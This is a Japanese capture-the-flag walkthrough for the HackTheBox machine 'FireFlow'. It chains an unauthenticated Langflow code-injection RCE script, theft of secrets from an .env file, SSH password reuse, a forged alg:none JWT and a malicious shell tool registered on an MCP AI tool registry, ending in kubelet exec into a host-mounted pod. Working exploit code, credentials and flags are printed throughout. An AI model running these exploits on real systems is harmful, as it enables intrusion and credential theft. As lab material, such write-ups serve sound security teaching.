HackTheBox: FireFlow — 全実行レポート
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.244.214 -oN nmap/allports.txt
RESULT
PORT STATE SERVICE 22/tcp open ssh 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 182.89 seconds
i
開放ポートは SSH(22) と HTTPS(443) の 2 つのみ。攻撃対象は Web サービス。
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,443 10.129.244.214 -oN nmap/detailed.txt
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 443/tcp open ssl/http nginx | ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US | Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb |_http-title: FireFlow - Task Force Nightfall Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
SSL 証明書の SAN に
*.fireflow.htb ワイルドカードを発見。サブドメイン列挙で追加サービスが見つかる可能性あり。
ホスト設定・サブドメイン列挙
BASH
# /etc/hosts 登録
echo "10.129.244.214 fireflow.htb flow.fireflow.htb" >> /etc/hosts
# vhost 列挙
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://fireflow.htb/ -H "Host: FUZZ.fireflow.htb" -fs 0 -mc 200,301
RESULT
flow [Status: 200, Size: 5243]
+
flow.fireflow.htb を発見。アクセスすると Langflow 1.8.2 の Web UI が表示された。
Langflow バージョン確認・OpenAPI 調査
BASH
curl -sk https://flow.fireflow.htb/api/v1/version
curl -sk https://flow.fireflow.htb/openapi.json | python3 -c "
import sys,json; d=json.load(sys.stdin)
# 未認証エンドポイントを探索
paths = d.get('paths', {})
for p, m in paths.items():
if 'post' in m and 'security' not in m.get('post',{}):
print('UNAUTH POST:', p)
"
RESULT
{"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}
UNAUTH POST: /api/v1/build_public_tmp/{flow_id}/flow
UNAUTH POST: /api/v1/users/
...
!
POST /api/v1/build_public_tmp/{flow_id}/flow が認証不要で公開されており、
FlowDataRequest スキーマに additionalProperties: true のカスタムノードを注入可能と判明。
PHASE 2
Langflow 未認証 RCE (CVE-2025-3248 亜種)
脆弱性概要
Langflow の POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントは認証不要でアクセス可能。
リクエストボディの data.nodes に "key": "CustomComponent" を持つノードを注入すると、
サーバー側で Python コードが実行される (lfx カスタムパッケージの動的コンポーネント評価)。
!
CVE-2025-3248 (Langflow <= 1.2.x) の派生脆弱性。バージョン 1.8.x でも同エンドポイントが未認証のまま残存。
RCE エクスプロイトペイロード
PYTHON (/tmp/fireflow_rce.py)
import json, urllib.request, ssl, sys
FLOW_ID = "7d84d636-af65-42e4-ac38-26e867052c25"
CLIENT_ID = "bcd39b27-0b71-487c-919e-894ee0c26585"
BASE_URL = "https://flow.fireflow.htb"
CMD = sys.argv[1] if len(sys.argv) > 1 else "id"
CODE = f'''from lfx.custom import Component
from lfx.io import Output, MessageTextInput
from lfx.schema.message import Message
class CustomComponent(Component):
display_name = "Custom"
inputs = [MessageTextInput(name="input_value", display_name="Input")]
outputs = [Output(display_name="Output", name="output", method="build")]
def build(self) -> Message:
import subprocess
result = subprocess.check_output(
{repr(CMD)}, shell=True, stderr=subprocess.STDOUT
).decode("utf-8", errors="replace")
return Message(text=result)
'''
node = {
"id": "CustomComponent-001", "type": "genericNode",
"data": {
"id": "CustomComponent-001", "type": "genericNode",
"node": {
"template": {"_type": "Component",
"code": {"value": CODE, "type": "code", "_input_type": "CodeInput",
"show": True, "name": "code", "required": True}},
"description": "Custom", "display_name": "Custom",
"base_classes": ["Message"],
"key": "CustomComponent", # <-- RCE トリガー
"outputs": [{"name":"output","method":"build","types":["Message"],"selected":"Message"}]
}
}
}
payload = json.dumps({"data": {"nodes": [node], "edges": []}}).encode()
# POST 送信 → job_id 取得 → /events SSE ストリームから出力を読み取る
RCE 動作確認・環境変数ダンプ
BASH
python3 /tmp/fireflow_rce.py 'id' python3 /tmp/fireflow_rce.py 'cat /etc/langflow/.env'
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
+
www-data として任意コマンド実行成功。
/etc/langflow/.env から
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll を取得。
PHASE 3
認証情報横展開 → user.txt 取得
SSH パスワード再利用
BASH
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh -o StrictHostKeyChecking=no nightfall@10.129.244.214 'id'
RESULT
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
+
Langflow スーパーユーザーパスワードが OS ユーザー
nightfall で再利用されていた。SSH ログイン成功。
user.txt 取得
BASH
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh nightfall@10.129.244.214 'cat ~/user.txt'
RESULT
2d77cf5119c4ba973c0bf2f765bf9796
MCP 設定ファイル発見
BASH
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh nightfall@10.129.244.214 'cat ~/.mcp/config.json'
RESULT
{
"server": "http://10.129.244.214:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
!
ポート
30080 に MCP Tool Registry が稼働。認証情報
langflow-bot:Langfl0w@mcp2026! と admin 専用エンドポイントが存在する。
PHASE 4
MCP サーバー攻撃 — JWT alg:none バイパス → RCE
MCP サーバー情報収集
BASH
# Langflow RCE 経由でアクセス (ポート 30080 はクラスタ内部公開) python3 /tmp/fireflow_rce.py 'curl -s http://localhost:30080/api/v1/version'
RESULT
{
"service": "MCP AI Tool Registry", "version": "0.1.0",
"auth": {
"type": "JWT",
"supported_algorithms": ["HS256", "none"]
},
"endpoints": ["POST /mcp [MCP JSON-RPC 2.0]", "POST /api/v1/auth",
"GET /api/v1/tools", "POST /api/v1/tools [admin]"]
}
!
supported_algorithms に "none" が含まれている。
署名なし JWT トークン (alg:none) で認証をバイパスし管理者権限が取得可能。
MCP サーバーソースコード解析
Langflow RCE 経由で /proc/<mcp-pid>/root/app/main.py を読み取り実装を確認。
PYTHON (MCP server main.py — 抜粋)
# JWT 検証ロジック (脆弱)
def verify_token(credentials = Depends(security)):
header = jose_jwt.get_unverified_header(token)
alg = header.get("alg", "HS256")
if alg == "none":
payload = jose_jwt.decode(token, key="",
options={"verify_signature": False})
# ハードコード済みユーザー
USERS = {
"langflow-bot": {"password": "Langfl0w@mcp2026!", "role": "user"},
"nightfall-admin": {"password": "4dm1n@NightfallOps!", "role": "admin"}
}
JWT_SECRET = "mcp-jwt-secret-do-not-share"
# ツール実行: python3 -c {tool["code"]} で stdin に引数を渡す
proc = subprocess.Popen(
["python3", "-c", tool["code"]],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
)
JWT alg:none バイパスで admin トークン生成
PYTHON
import base64, json
def make_jwt_none(payload_dict):
header = base64.urlsafe_b64encode(
json.dumps({"alg":"none","typ":"JWT"}).encode()
).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(
json.dumps(payload_dict).encode()
).rstrip(b'=').decode()
return f"{header}.{payload}."
admin_token = make_jwt_none({"sub": "nightfall-admin", "role": "admin"})
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJuaWdodGZhbGwtYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
悪意ある Shell ツール登録 → MCP コンテナ RCE
BASH
# ツールコード (stdin から cmd を受け取り実行)
TOOL_CODE='import subprocess, sys, json
args = json.loads(sys.stdin.read() or "{}")
cmd = args.get("cmd", "id")
r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=240)
print(r.stdout.decode("utf-8", errors="replace"))'
# Admin トークンでツール登録
curl -s http://localhost:30080/api/v1/tools \
-H "Authorization: Bearer $ADMIN_JWT_NONE" \
-H "Content-Type: application/json" \
-d '{"name":"shell_exec_helper","description":"shell","code":"...TOOL_CODE..."}'
# MCP JSON-RPC でコマンド実行
curl -s http://localhost:30080/mcp \
-H "Authorization: Bearer $ADMIN_JWT_NONE" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"shell_exec_helper","arguments":{"cmd":"id"}},"id":1}'
RESULT
{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text",
"text":"uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)"}]}}
+
MCP コンテナ内 (
mcp uid=1000) でコマンド実行成功。
ポート 30080 が外部から到達不能な場合は nightfall SSH でポートフォワード (SSH -L) して接続。
MCP コンテナの K8s SA トークン確認
BASH
# MCP コンテナ内から SA 確認 cat /var/run/secrets/kubernetes.io/serviceaccount/namespace # → default cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -c1-50
RESULT
default eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3Jr...
PHASE 5
kubelet 10250 WebSocket exec → node-exporter → root.txt
mcp-sa の RBAC 権限確認
BASH
SA=/var/run/secrets/kubernetes.io/serviceaccount
TOKEN=$(cat $SA/token)
curl -sk --cacert $SA/ca.crt \
-H "Authorization: Bearer $TOKEN" \
"https://kubernetes.default.svc.cluster.local/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
RESULT
"resourceRules": [
{ "verbs": ["get"], "resources": ["nodes/proxy"] }
]
i
mcp-sa は get nodes/proxy のみ保有。
ただし kubelet ポート 10250 への直接アクセスは SA トークンで可能 (apiserver 経由ではなく直接)。
稼働中ポッド列挙 — node-exporter の発見
BASH
# kubelet /pods API (apiserver proxy 経由)
curl -sk --cacert $SA/ca.crt -H "Authorization: Bearer $TOKEN" \
"https://kubernetes.default.svc.cluster.local/api/v1/nodes/fireflow/proxy/pods" \
| python3 -c "
import sys,json
for p in json.load(sys.stdin)['items']:
ns = p['metadata']['namespace']
name = p['metadata']['name']
# ホストファイルシステムマウントを確認
for v in p['spec'].get('volumes', []):
if v.get('hostPath'):
print(f'HOSTPATH [{ns}/{name}]:', v['hostPath'])"
RESULT
HOSTPATH [monitoring/prometheus-prometheus-node-exporter-nmntq]: /
# mountPath: /host/root, readOnly: true
# → ホストの / が /host/root にマウントされている!
!
node-exporter ポッドはホストルートファイルシステムを /host/root にマウント。
このコンテナ内でコマンドを実行すれば /host/root/root/root.txt を読み取れる。
kubelet 10250 への直接 WebSocket exec
kubelet の /exec/{namespace}/{pod}/{container} エンドポイントは WebSocket プロトコルで
コンテナ内コマンド実行をサポートする。SA トークンを使って kubelet ポート 10250 に直接接続することで
nodes/proxy create 権限なしでも exec が可能。
BASH
# MCP コンテナ内から kubelet 10250 へ直接 WebSocket exec
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# node-exporter に 'id' を実行してコンテナ内 UID を確認
EXEC_URL="https://<NODE_IP>:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter"
URL="${EXEC_URL}?command=id&input=0&output=1&error=1&tty=0"
curl -sk --http1.1 --path-as-is --cacert "$CACERT" \
-H "Authorization: Bearer $TOKEN" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Sec-WebSocket-Protocol: v4.channel.k8s.io" \
"$URL"
RESULT
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}
+
node-exporter コンテナ内では root (uid=0) として動作している。
ホスト FS が
/host/root にマウント済みのため、
/host/root/root/root.txt が読み取り可能。
root.txt 取得
BASH
ROOT_URL="${EXEC_URL}?command=cat&command=/host/root/root/root.txt&input=0&output=1&error=1&tty=0"
curl -sk --http1.1 --path-as-is --cacert "$CACERT" \
-H "Authorization: Bearer $TOKEN" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Sec-WebSocket-Protocol: v4.channel.k8s.io" \
"$ROOT_URL" | grep -aoE '[0-9a-f]{32}'
RESULT
1c3f21e08f357dfd67a55a1dc0a88e4e
+
root.txt 取得成功!
経路: MCP JWT alg:none bypass → SSH tunnel → MCP shell tool → kubelet 10250 WebSocket exec
→ node-exporter (ホスト / マウント) →
/host/root/root/root.txt
SUMMARY
まとめ
取得フラグ
USER FLAG
2d77cf5119c4ba973c0bf2f765bf9796
Langflow RCE → /etc/langflow/.env → SSH nightfall
ROOT FLAG
1c3f21e08f357dfd67a55a1dc0a88e4e
MCP JWT bypass → kubelet 10250 exec → node-exporter → /host/root/root/root.txt
攻撃フロー
| # | フェーズ | 手法 | 結果 |
|---|---|---|---|
| 1 | 偵察 | nmap + SSL SAN 解析 + vhost fuzzing | flow.fireflow.htb (Langflow 1.8.2) 発見 |
| 2 | 初期侵入 | POST /api/v1/build_public_tmp/{flow_id}/flow CustomComponent 注入 (未認証 RCE) |
www-data として ホスト上でコマンド実行 |
| 3 | 認証情報収集 | /etc/langflow/.env 読み取り |
n1ghtm4r3_b4_n1ghtf4ll (Langflow PW) 取得 |
| 4 | 横展開 | SSH パスワード再利用 | user.txt: 2d77cf5119c4ba973c0bf2f765bf9796 |
| 5 | MCP 攻撃 | JWT alg:none バイパス → admin token → shell ツール登録 | MCP コンテナ (mcp uid=1000) RCE |
| 6 | K8s SA 利用 | K8s SA トークン → kubelet 10250 直接 WebSocket | node-exporter コンテナ内で root exec |
| 7 | 権限昇格 | node-exporter の /host/root ホスト FS マウント経由 |
root.txt: 1c3f21e08f357dfd67a55a1dc0a88e4e |
発見した認証情報
| サービス | ユーザー | パスワード / シークレット | 権限 |
|---|---|---|---|
| Langflow Web UI | langflow | n1ghtm4r3_b4_n1ghtf4ll | Superuser |
| SSH / OS | nightfall | n1ghtm4r3_b4_n1ghtf4ll | 一般ユーザー (UID=1000) |
| MCP サーバー | langflow-bot | Langfl0w@mcp2026! | user ロール |
| MCP サーバー | nightfall-admin | 4dm1n@NightfallOps! | admin ロール |
| MCP JWT | — | mcp-jwt-secret-do-not-share | JWT 署名鍵 (HS256) |
| Langflow | — | XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE | SECRET_KEY |
主要脆弱性
| 脆弱性 | 影響箇所 | 深刻度 | 説明 |
|---|---|---|---|
| 未認証 RCE | Langflow 1.8.2 | Critical | /api/v1/build_public_tmp に認証なしでカスタムコンポーネントを注入可能 |
| パスワード再利用 | nightfall ユーザー | High | Langflow アプリパスワードを OS ユーザーが再利用 |
| JWT alg:none バイパス | MCP Tool Registry | Critical | 署名検証をスキップした JWT で管理者権限を詐称可能 |
| 機密情報ハードコード | MCP サーバーソース | High | JWT_SECRET・ユーザー認証情報がソースコードに平文記述 |
| kubelet 過剰権限 | K8s (kubelet 10250) | Critical | SA トークンで kubelet 直接 exec が可能。node-exporter がホスト FS をマウント |
使用ツール
nmap
ポートスキャン・サービス検出
ffuf
vhost サブドメイン列挙
curl
API 操作・WebSocket exec
Python3
RCE エクスプロイト・JWT 生成
sshpass
SSH 認証・ポートフォワード
killchain_runner.py
自動攻撃チェーン実行

